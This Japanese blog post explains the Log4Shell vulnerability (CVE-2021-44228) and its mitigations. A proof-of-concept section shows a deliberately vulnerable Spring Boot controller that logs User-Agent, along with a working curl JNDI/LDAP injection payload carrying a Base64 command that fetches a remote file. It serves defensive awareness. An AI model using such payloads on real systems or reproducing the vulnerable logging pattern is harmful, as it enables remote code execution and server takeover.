技術・開発

【セキュリティ注意喚起】Apache Log4jの深刻な脆弱性(CVE-2021-44228)と検証・対策まとめ

2021年12月14日

【注意喚起】Apache Log4j の深刻な脆弱性 (CVE-2021-44228 / Log4Shell) について

かなり深刻な脆弱性が見つかり、IT業界全体がてんやわんやの状態となっています。 Javaで構築されたシステムのほとんどは「Log4j」またはその派生ライブラリを使用しているため、影響が一気に広まりました。

【本脆弱性の重要ポイント】

  • CVSSスコア「10(最高値)」: 超お手軽に外部から任意のコードを実行(RCE)できてしまう非常に危険な脆弱性です。
  • ゼロデイ攻撃の発生: GitHubなどで検証コード(PoC)が多数公開されており、既に攻撃が始まっています。
  • 対象バージョン: Log4j 2.x系が対象。log4j2-core が対象となるため、log4j2-api のみを利用している場合は対象外です。
  • Log4j 1.x系の扱い: 本脆弱性(CVE-2021-44228)の対象外ですが、サポート終了(EOL)しており別の脆弱性が存在します(※後述)。
  • slf4j、logback: Log4j 1.x系統のアーキテクチャであるため、本脆弱性は対象外です。
  • 修正版の公開: 脆弱性に対応した 2.15.0 が公開されましたが、その後JNDI lookup機能をデフォルトで完全に無効化した 2.16.0(およびそれ以降のバージョン)が公開されています。

発見から公開までのいきさつ

  • 11月24日: Alibaba Cloud Security Team が The Apache Software Foundation へ脆弱性について報告。
  • 12月9日: Twitter等で情報が投稿され、瞬く間に世界中へ広がる。
  • 12月10日: 修正版となる Log4j 2.15.0 が配布される。

脆弱性の詳細・攻撃手法

この脆弱性は共通脆弱性識別子 CVE-2021-44228(通称:Log4Shell)として採番されています。CVSS v3.1のベーススコアは危険度最大値の「10.0」と評価されています。

どのような攻撃なのかは、図解を見ると非常にわかりやすいです。

攻撃のトリガーとなるコード

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        // 外部から渡された文字列をサニタイズせずにログ出力すると発火する
        logger.error("${jndi:ldap://192.168.0.0/a}");
    }
}

ログ出力処理において ${jndi:ldap://【IPアドレス】/【DN情報】} という文字列がパースされると、Log4jのJNDI Lookup機能が働き、指定された外部のLDAPサーバー等へアクセスしてしまいます。JNDIがサポートしているプロトコルであれば、rmidns などでも実行可能です。

  • ${jndi:ldap://...} の場合: TCP通信上でDNレコードとして検索・取得を行います。
  • ${jndi:dns://...} の場合: DNSのTXTレコード等を利用して情報の抜き取り(データ流出)などが行われる危険性があります。
LDAPの場合
DNSの場合

リモートコード実行(RCE)とリバースシェル

jndi:ldap を悪用すると、リモートの悪意あるコードを取得・実行させることが可能なため、いとも簡単にサーバーやPCを乗っ取ることができてしまいます。実際にGitHub上でソースコードが公開されたり、概念実証(PoC)の動画が多数上がったりしています。

実際に試してみた(PoC)

【⚠️ 警告】 本概念実証(PoC)は、必ずご自身の管理下にあるローカル環境(閉じたネットワーク)でのみ実施してください。他者のサーバーに対して検証コードを送信することは、サイバー犯罪として罪に問われる可能性があります。

Webシステムを想定し、Spring Bootで簡易的なアプリケーションを作成して検証しました。

実行コード(Spring Boot)

Spring Bootはデフォルトで logback を利用するため、build.gradlelog4j2 を読み込むように変更します。

// build.gradle (抜粋)
configurations {
    // Spring BootデフォルトのLogbackを除外
    all*.exclude module: 'spring-boot-starter-logging'
}

dependencies {
    implementation 'org.springframework.boot:spring-boot-starter-web'
    implementation "org.springframework.boot:spring-boot-starter-log4j2"
    // ...
}

HTTPリクエストの User-Agent ヘッダーの値をそのままログ出力するコントローラーを作成します。

package com.example.demo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class IndexController {
    static protected Logger logger = LogManager.getLogger(IndexController.class);
    
    @RequestMapping(value = "/")
    public String index(Model model, @RequestHeader(name="User-Agent", required=false) String userAgent) {
        model.addAttribute("message", "Hello Springboot");
        
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        
        // 脆弱性のトリガーポイント:User-Agentの値をそのままログ出力
        logger.error("User-Agent: {}", userAgent);

        return "index";
    }
}

攻撃の実行

ローカルにリモート実行用のLDAPサーバーを立ち上げ、Git Bash等のターミナルから curl でリクエストを送信します。 ※ Y3VybCAtTCBodHRw... の部分は curl -L http://kaede.jp -o kaaaaaaaaaaaaede.html というコマンドをBase64エンコードしたものです。

$ curl http://localhost:8080/ -H 'User-Agent: ${jndi:ldap://【LDAPサーバー】/Basic/Command/Base64/Y3VybCAtTCBodHRwOi8va2FlZGUuanAgLW8ga2FhYWFhYWFhYWFhYWVkZS5odG1s}'

Eclipse側のコンソールには以下のようなJNDIルックアップのエラーが出力されました。(環境によってはエラーが出力されない場合もあるようです)。

2021-12-13 23:36:51,178 http-nio-8080-exec-3 WARN Error looking up JNDI resource [ldap://【LDAPサーバ】:1389/Basic/Command/Base64/Y3VybCAtTCBodHRw。。。]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: ExploitLs64RAP7IZ cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '"Y3VybCAtTCBodHRw。。。"'

しかし、バックグラウンドではコマンドが正しく実行されており、エクスプローラーで確認すると指定したHTMLファイルがカレントディレクトリに生成されていました。本当にやりたい放題できてしまう、非常に恐ろしい脆弱性です。(Base64の部分を Y2FsYw== に変更すれば、Windowsの電卓アプリが起動します)。

クラウドベンダー・セキュリティベンダーの対応

各クラウドプロバイダーやセキュリティベンダーは急ピッチで調査と対応を進めています。WAFやIDS等での検知ルールも随時アップデートされています。

アンチウイルスソフトの対応

数日後、実証実験の curl コマンドを再度叩いてみたところ、クライアントPCに入れているノートン(Norton)によって通信が弾かれました。シグネチャの更新が迅速に行われているようです。

Log4j 1系の状況とその他の脆弱性について

IPAなどの初期発表では「Log4j 1系にはJNDI lookup機能がないため本脆弱性の対象外」とされていました。しかし、1系は既にサポートが終了(EOL)しており、別の深刻な脆弱性が存在します。

【2021/12/16 追記:CVE-2021-4104】 Log4j 1系でも、JMSAppender が設定されている場合、JNDI lookupが有効となり似たような影響を受けることが判明しました(CVE-2021-4104 / CVSS 6.6)。攻撃者が設定ファイル(log4j.properties 等)を書き換えられることが前提となるためLog4Shellより深刻度は下がりますが、安全ではありません。

Log4j 1.2.xは2015年8月にEOLを迎えており、過去にも CVE-2019-17571(CVSS 9.8 / SocketServerの脆弱性)などが報告されています。パッチは提供されないため、slf4j + logback等への移行が強く推奨されます。

確認と対処方法

バージョンの確認

Log4j 2系が使われているかどうかは、単に log4j-core-*.jar をファイル検索するだけでは不十分な場合があります(fat jarの中に内包されているケースなど)。 ビルドツールを用いて依存関係ツリーを出力し、間接的に読み込まれていないか詳細に確認してください。

  • Maven: mvn dependency:tree
  • Gradle: gradle dependencies

対策の実施

Apache公式のアナウンスに従い、Log4j 2の最新バージョン(安全な 2.16.0 以降、推奨は 2.17.1 以上)へアップデートすることが最も確実な対策です。

即時のアップデートが難しい場合は、以下の緩和策(バージョンにより適用可否が異なる)を検討してください。

  1. JNDI Lookup機能の無効化(起動オプション log4j2.formatMsgNoLookups=true の設定など ※2.10以上)
  2. PatternLayout の変更(%m{nolookups} の指定 ※2.7以上)
  3. jarファイルから JndiLookup.class を物理的に削除する(2.0-beta9以上)

※個人的な見解ですが、この脆弱性は外部サーバーからリモートファイルを取得・実行されることが最大の脅威です。サーバーからのアウトバウンド通信(内から外への通信)をFW等で厳しく制御・遮断しておくことも、多層防御の観点で有効だと考えます。

雑感

これほど世界中で使われているメジャーなライブラリに潜んでいた致命的な脆弱性が、顕在化するまでに7年もかかるとは……影響の規模が計り知れません。

いつどのような形で深刻な脆弱性が発表されるか予測は不可能です。だからこそ、日頃から以下の備えをしておくことが重要だと痛感しました。

  • サードパーティ製ライブラリのバージョン管理とアップデート追従
  • 迅速にパッチを当ててリリースできる CI/CD 環境の整備
  • サーバーのアウトバウンド通信の最小限化(ゼロトラストの意識)

-技術・開発
-, , , , , ,